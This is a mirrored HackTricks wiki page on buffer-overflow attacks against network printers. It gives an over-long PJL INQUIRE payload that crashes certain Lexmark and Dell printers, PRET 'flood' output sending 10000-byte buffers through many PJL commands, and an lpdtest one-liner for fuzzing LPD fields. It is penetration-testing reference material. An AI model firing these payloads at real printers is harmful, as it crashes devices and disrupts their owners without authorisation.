mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 12:33:39 +00:00
84 lines
4.9 KiB
Markdown
84 lines
4.9 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
# PJL
|
|
|
|
Various _Lexmark_ laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)) and sending about 3.000 characters as the SET argument to the _Dell 1720n_ crashes the device:
|
|
|
|
```
|
|
@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…
|
|
```
|
|
|
|
You can check for Buffer Overflows using [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
|
|
```bash
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> flood
|
|
Buffer size: 10000, Sending: @PJL SET [buffer]
|
|
Buffer size: 10000, Sending: @PJL [buffer]
|
|
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
|
|
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
|
|
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL INFO [buffer]
|
|
Buffer size: 10000, Sending: @PJL ECHO [buffer]
|
|
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
|
|
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
|
|
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
|
|
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
|
|
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
|
|
```
|
|
|
|
# LPD daemon
|
|
|
|
It allows multiple user-defined vectors like _jobname, username or hostname_, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered.
|
|
|
|
A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included** in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
|
|
|
|
```bash
|
|
./lpdtest.py printer in "`python -c 'print "x"*150'`"
|
|
```
|
|
|
|
**You can find more information about these attacks in** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer\_overflows)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|